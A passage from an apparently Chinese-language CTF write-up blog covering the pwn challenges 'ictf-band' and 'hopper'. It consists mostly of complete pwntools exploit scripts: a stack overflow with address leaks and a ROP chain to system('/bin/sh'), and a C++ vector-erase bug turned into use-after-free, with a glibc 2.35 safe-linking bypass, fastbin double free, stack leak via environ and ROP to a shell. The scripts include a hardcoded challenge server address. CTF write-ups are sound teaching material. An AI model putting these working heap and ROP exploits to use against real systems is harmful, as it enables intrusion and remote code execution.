102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./ictf-band')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )

p = connect()

def ext(data, length, _payload):
sla(b'>', b'4')
sla(b':', f'{data}')
sla(b':', f'{length}')
sla(b':', _payload)

payload = cyclic(0x167) + b'\xeb'
ext(b'b' * 0x8,len(payload) + 1,payload)

ru(b'adoaa')
elf_base = u64(r(6).ljust(8,b'\x00')) - 0x22eb
success(f"elf_base ->{hex(elf_base)}")
elf.address = elf_base

puts_plt = elf.plt['puts']
get_persona = elf.address + 0x1e8b

payload = cyclic(0x167) + p64(puts_plt) + p64(elf_base + 0x0000000000022E6)
ext(b'b' * 0x8, len(payload) + 1, payload)

ru(b'ved!')
ru("dnaadoaa")
rl()
libc_base = unpack(r(6) + b'\x00' * 2) - 0x62050
success(f'LIBC BASE --> {hex(libc_base)}')

pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000baaf9

payload = cyclic(0x167) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
ext(b'b' * 0x8,len(payload) + 1,payload)


p.interactive()


bopity

和ropity逻辑一样

hopper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
int v4; // [rsp+Ch] [rbp-54h] BYREF
char v5[32]; // [rsp+10h] [rbp-50h] BYREF
char v6[24]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+48h] [rbp-18h]

v7 = __readfsqword(0x28u);
std::vector<char *>::vector(v5, argv, envp);
std::vector<int>::vector(v6);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
while ( 1 )
{
menu();
std::istream::operator>>(&std::cin, &v4);
if ( v4 != 3 )
break;
clean(v5, v6);
show(v5, v6);
}
if ( v4 > 3 )
break;
if ( v4 == 1 )
{
alloc(v5, v6);
}
else
{
if ( v4 != 2 )
break;
clean(v5, v6);
remove(v5, v6);
}
}
exit(0);
}


unsigned __int64 __fastcall clean(__int64 a1, __int64 a2)
{
int i; // [rsp+1Ch] [rbp-34h]
__int64 v4; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h] BYREF
__int64 v6; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-18h]

v7 = __readfsqword(0x28u);
for ( i = 0; i < (unsigned __int64)std::vector<int>::size(a2); ++i )
{
if ( *(_DWORD *)std::vector<int>::operator[](a2, i) == -1 )
{
v4 = std::vector<int>::begin(a2);
v5 = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v4, i);
__gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v6, &v5);
std::vector<int>::erase(a2, v6);
v4 = std::vector<char *>::begin(a1);
v5 = __gnu_cxx::__normal_iterator<char **,std::vector<char *>>::operator+(&v4, i);
__gnu_cxx::__normal_iterator<char * const*,std::vector<char *>>::__normal_iterator<char **>(&v6, &v5);
std::vector<char *>::erase(a1, v6);
}
}
return v7 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall show(__int64 a1)
{
unsigned __int64 v1; // rbx
_QWORD *v3; // rax
int v5; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-18h]

v6 = __readfsqword(0x28u);
printf("idx> ");
std::istream::operator>>(&std::cin, &v5);
if ( v5 >= 0 )
{
v1 = v5;
if ( v1 < std::vector<char *>::size(a1) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "data: ");
v3 = (_QWORD *)std::vector<char *>::operator[](a1, v5);
std::operator<<<std::char_traits<char>>(&std::cout, *v3);
}
}
return v6 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall alloc(__int64 a1, __int64 a2)
{
__int64 v2; // rax
FILE *v3; // r12
int v4; // ebx
__int64 v5; // rax
char **v6; // rax
int n; // [rsp+1Ch] [rbp-24h] BYREF
void *v9; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v10; // [rsp+28h] [rbp-18h]

v10 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "size> ");
std::istream::operator>>(&std::cin, &n);
v9 = malloc(n);
std::vector<char *>::push_back(a1, &v9);
std::vector<int>::push_back(a2, &n);
std::operator<<<std::char_traits<char>>(&std::cout, "content> ");
v2 = std::numeric_limits<long>::max();
std::istream::ignore((std::istream *)&std::cin, v2, 10);
v3 = stdin;
v4 = n;
v5 = std::vector<char *>::size(a1);
v6 = (char **)std::vector<char *>::operator[](a1, v5 - 1);
fgets(*v6, v4, v3);
return v10 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall remove(__int64 a1, __int64 a2)
{
unsigned __int64 v2; // rbx
void **v4; // rax
__int64 v5; // rax
int v7; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 v8; // [rsp+18h] [rbp-18h]

v8 = __readfsqword(0x28u);
printf("idx> ");
std::istream::operator>>(&std::cin, &v7);
if ( v7 >= 0 )
{
v2 = v7;
if ( v2 < std::vector<char *>::size(a1) )
{
v4 = (void **)std::vector<char *>::operator[](a1, v7);
free(*v4);
*(_DWORD *)std::vector<int>::operator[](a2, v7) = -1;
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "memory deleted");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
}
return v8 - __readfsqword(0x28u);
}

第一次做stl迭代器安全相关的题

漏洞出在clean函数这边,这里的逻辑其实是 在循环chunklist.earse(chunklist.being() + i) sizelist.earse(list.being() + i) ,如果存在连续的size == -1的堆块,第一次earse的时候 容器的大小发生了变化,所以earse后的i就不是 earse前的 i了。是 i + 1,然后alloc的时候,输入size -1是能正常的push_back到sizelist里面的,所以可以通过这个漏洞去构造出uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall clean(__int64 a1, __int64 a2)
{
int i; // [rsp+1Ch] [rbp-34h]
__int64 v4; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h] BYREF
__int64 v6; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-18h]

v7 = __readfsqword(0x28u);
for ( i = 0; i < (unsigned __int64)std::vector<int>::size(a2); ++i )
{
if ( *(_DWORD *)std::vector<int>::operator[](a2, i) == -1 )
{
v4 = std::vector<int>::begin(a2);
v5 = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v4, i);
__gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v6, &v5);
std::vector<int>::erase(a2, v6);
v4 = std::vector<char *>::begin(a1);
v5 = __gnu_cxx::__normal_iterator<char **,std::vector<char *>>::operator+(&v4, i);
__gnu_cxx::__normal_iterator<char * const*,std::vector<char *>>::__normal_iterator<char **>(&v6, &v5);
std::vector<char *>::erase(a1, v6);
}
}
return v7 - __readfsqword(0x28u);
}

首先是glibc 2.35 构造任意地址写的原语需要泄露堆地址去绕开safe link, 泄露堆地址和 libc的地址,通过unsortedbin泄露libc的地址,可以直接申请一个很大的chunk然后free掉,这样就直接进unsortedbin了,不用填满tcache.

因为cout是读到换行就不读了,所以不能通过fastbin double free直接去泄露environ的值,但?直接写vector成员指针的值也可以?覆盖vector[0] 为 environ的地址然后show就能泄露栈地址了,泄露栈地址后再fastbin double free一次写返回地址然后打rop去getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )

p = connect()


def alloc(sz, content):
sla(b"> ", b"1")
sla(b"> ", str(sz).encode())
if sz > 0:
sla(b"> ", content)
else:
ru(b"> ")

def free(idx):
sla(b"> ", b"2")
sla(b"> ", str(idx).encode())

def show(idx):
sla(b"> ", b"3")
sla(b"> ", str(idx).encode())

alloc(-1, b"") # 0
alloc(-1, b"") # 1
alloc(0x88, b"fakechunk") # 2
# g(p)
free(1) # free 2
show(0) # show 2

ru(b"data: ")
heap_base = (u64(r(5).ljust(8,b'\x00')) << 12) - (0x5df8b4e9b000 - 0x5df8b4e8a000)
success(hex(heap_base))

show(0) # clean up vector

alloc(-1, b"") # 0
alloc(-1, b"") # 1
alloc(0x1000, b"fakechunk") # 2
alloc(0x100, b"padding") # 3
# g(p)
free(1) # free 2
show(0) # show 0

ru(b"data: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7b6ad2c1ace0 - 0x7b6ad2a00000)
success(hex(libc_base))

free(0)
show(0) # clean up vector

for i in range(7):
alloc(0x68, b"padding tcache")
for i in range(2**9+2**8):
alloc(-1, b"")
for i in range(2):
alloc(0x68, b"fastbin")
for i in range(7):
free(0)

# double free
free(3)
free(2)
free(0)

for n in range(7):
alloc(0x68, b"a")


environ = libc_base + 0x222200
vector_target = heap_base + 0x14910
pos = heap_base + 0x12950
payload = (pos >> 12) ^ (vector_target)

alloc(0x68,p64(payload)) # A
alloc(0x68,"BBBBBBBB")
alloc(0x68,p64(payload)) # A
alloc(0x68,p64(environ) + p64(environ)) # coverage vector[0] [1]

show(0)
ru(b"data: ")
stack = u64(r(6).ljust(8,b'\x00'))
success(hex(stack))

for i in range(7):
alloc(0x78,"padding tcache2")
for i in range(2**9+2**8):
alloc(-1, b"")
for i in range(2):
alloc(0x78,"fastbin")
for i in range(7):
free(11)

# double free
free(14)
free(13)
free(11)

for n in range(7):
alloc(0x78, b"a")

pos = heap_base + 0x12db0
rbp = stack - (0x7ffd4b8f6098 - 0x7ffd4b8f5f08) - 0x8
success(hex(rbp))
payload = (pos >> 12) ^ (rbp)

alloc(0x78,p64(payload))
alloc(0x78,"BBBBBBBB")
alloc(0x78,p64(payload))

ret = libc_base + 0x00000000000baaf9 # xor rax,rax; ret
pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a' * 0x8 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)



# g(p)


alloc(0x78,payload)





p.interactive()





CATALOG
  1. 1. pwn
    1. 1.1. imgstore
    2. 1.2. ropity
    3. 1.3. onewrite
    4. 1.4. fermat
    5. 1.5. ictf-band
    6. 1.6. bopity
    7. 1.7. hopper